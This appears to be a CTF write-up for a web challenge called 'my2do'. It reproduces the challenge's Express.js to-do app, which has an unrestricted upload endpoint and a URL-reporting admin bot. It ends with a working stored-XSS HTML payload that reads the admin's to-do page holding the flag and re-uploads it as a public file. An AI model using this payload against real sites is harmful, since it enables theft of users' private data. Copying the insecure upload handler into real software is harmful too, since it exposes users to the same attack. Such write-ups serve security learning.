my2do

const express = require('express')
const session = require('express-session');
const crypto = require('crypto');
const vist = require("./bot");
const multer = require('multer');
const path = require('path');

const app = express();
app.set('view engine', 'ejs');
app.use(session({
  secret: crypto.randomBytes(16).toString('hex'),
  resave: false,
  saveUninitialized: false,
  cookie:{
    httpOnly: true
  }
}));
const storage = multer.diskStorage({
  destination: function (req, file, cb) {
    cb(null, 'public/uploads');
  },
  filename: function (req, file, cb) {
    cb(null, file.originalname);
  },
});

const upload = multer({ storage: storage });
app.use(express.static('public'));


const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD || 'YOU DONT NO IT';
const FLAG = process.env.DASFLAG || 'flag{no_flag}';

const reportIpsList = new Map();
const now = ()=>Math.floor(+new Date()/1000)
const db = new Map();
db.set('admin', {password: crypto.createHash('sha256').update(ADMIN_PASSWORD, 'utf8').digest('hex'), todos: [{text: FLAG, isURL: false}]});

app.get("/", function (req, res) {
    if (req.session.username) return res.redirect('/todo');
    res.render('index', {nonce: crypto.randomBytes(16).toString('hex')})
});

app.get("/todo",function (req, res) {

    if (!req.session.username) return res.redirect('/');
    let username = req.session.username;
    res.render('todo', {
      nonce: crypto.randomBytes(16).toString('hex'),
      username: username,
      todos: db.get(username).todos
    })
});

app.get("/api/logout", function (req, res) {
        req.session.destroy();
        return res.redirect('/');
});

app.post("/api/todo",express.json({ type: Object }) ,function (req, res) {

    const { text } = req.body || req.query;
    if (!req.session.username) return res.json({ error: "Login first!" });
        let username = req.session.username;
    if (!db.has(username)) return res.json({ error: "User doesn't exist!" });

    if (!text || typeof text !== "string") {
      return res.json({error: "Missing text"});
    }

    let isURL = false;
    if (RegExp('^https?://.*$').test(text)) {
      isURL = true;
    }

        db.get(username).todos.push({text: text, isURL: isURL});
    return res.json({ success: true });
});

app.post("/api/register", express.json({ type: Object }), function (req, res) {
    const { username, password }= req.body;
    if (typeof username !== 'string') return res.json({ error: "Invalid username" });
    if (typeof password !== 'string') return res.json({ error: "Invalid password" });

    if (db.has(username)) return res.json({ error: "User already exist!" });
    const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');

    db.set(username, {password: hash, todos: []});
    req.session.username = username;
    return res.json({ success: true });
});

app.post("/api/login", express.json({ type: Object }), function (req, res) {
    const { username, password }= req.body;
    if (typeof username !== 'string') return res.json({ error: "Invalid username" });
    if (typeof password !== 'string') return res.json({ error: "Invalid password" });

    if (!db.has(username)) return res.json({ error: "User doesn't exist!" });
    const hash = crypto.createHash('sha256').update(password, 'utf8').digest('hex');
    if (db.get(username)?.password !== hash) return res.json({ error: "Wrong password!" });

    req.session.username = username;
    return res.json({ success: true });
});

//deving........
app.post('/api/upload', upload.single('file'), (req, res) => {

  return res.send('文件上传成功!');
});

app.post("/api/report", express.json({ type: Object }), function (req, res) {

    if (!req.session.username) return res.send("Login first!");
    // if(reportIpsList.has(req.ip) && reportIpsList.get(req.ip)+90 > now()){
    //   return res.send(`Please comeback ${reportIpsList.get(req.ip)+90-now()}s later!`);
    // }
    reportIpsList.set(req.ip,now());
    const { url } = req.body;
    if (typeof url !== 'string') return res.send("Invalid URL");

    // if (!url || !RegExp('^http://127\.0\.0\.1.*$').test(url)) {
    //   return res.status(400).send('Invalid URL');
    // }
    try {
      vist(url);
      return res.send("admin has visted your url");
    } catch {
      return res.send("some error!");
    }
});

app.listen(80, () => {console.log(`app run in ${80}`)});

可以上传xss的html文件让它访问,这里我本来想盗取cookie,但是似乎bot访问的时候没有带cookie?
2024-10-30T13:32:20.png
但是上传文件有

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    fetch('/todo')
        .then(response => response.text())
        .then(data => {
            // 将data内容创建为Blob对象,并设置文件名为flag
            const blob = new Blob([data], { type: 'text/plain' });
            const formData = new FormData();
            formData.append('file', blob, 'flag'); // 将Blob添加到FormData,文件名为flag

            // 使用fetch发送文件上传请求
            fetch('/api/upload', {
                method: 'POST',
                body: formData,
                headers: {
                    // 不要设置Content-Type,让fetch自动设置合适的Content-Type
                },
                credentials: 'include'  // 这里设置为 'include' 以发送 Cookie
            })
                .then(response => {
                    if (!response.ok) {
                        throw new Error('上传失败');
                    }
                    return response.text();
                })
                .then(result => {
                    console.log('文件上传成功:', result);
                })
                .catch(error => {
                    console.error('上传时发生错误:', error);
                });
        });
</script>
</body>
</html>